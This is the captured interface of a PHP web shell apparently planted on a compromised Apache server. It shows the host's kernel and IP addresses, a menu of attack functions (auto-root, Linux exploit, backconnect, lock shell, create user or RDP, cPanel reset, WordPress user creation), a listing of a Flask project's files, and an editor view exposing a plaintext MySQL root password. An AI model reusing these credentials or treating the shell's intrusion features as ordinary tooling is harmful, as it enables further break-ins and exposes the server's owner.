Linux 45-56-67-123 5.14.0-503.16.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Dec 13 01:47:05 EST 2024 x86_64
Apache/2.4.62 (AlmaLinux) OpenSSL/3.2.2
: 45.56.67.123 | : 52.15.253.72
Cant Read [ /etc/named.conf ]
8.3.15
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
afra /
420.testproject.work /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
env
[ DIR ]
drwxr-xr-x
static
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
app.py
4.01
KB
-rwxrwxr-x
app.wsgi
293
B
-rw-r--r--
app_insert.py
885
B
-rwxrwxr-x
ervice
418
B
-rw-r--r--
requirements.txt
199
B
-rw-r--r--
text_test_1.py
527
B
-rw-r--r--
udo systemctl start 420testpro...
6.93
KB
-rw-r--r--
udo systemctl status your_flas...
1.38
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : app_insert.py
from flask import Flask, jsonify, request import mysql.connector from datetime import datetime app = Flask(__name__) @app.route('/api/insert', methods=['POST']) def insert_into_db(): db = mysql.connector.connect( host="127.0.0.1", user="root", password="zzxxcc336699", database="app_db_01" ) cursor = db.cursor() new_post = { "posts_name": "Another Post", "posts_date": datetime.now().date(), "posts_time": datetime.now().time().strftime('%H:%M:%S'), "posts_status": "active" } sql = ("INSERT INTO posts (posts_name, posts_date, posts_time, posts_status) " "VALUES (%(posts_name)s, %(posts_date)s, %(posts_time)s, %(posts_status)s)") cursor.execute(sql, new_post) db.commit() cursor.close() db.close() return jsonify({"message": "Post inserted successfully"}), 201
Close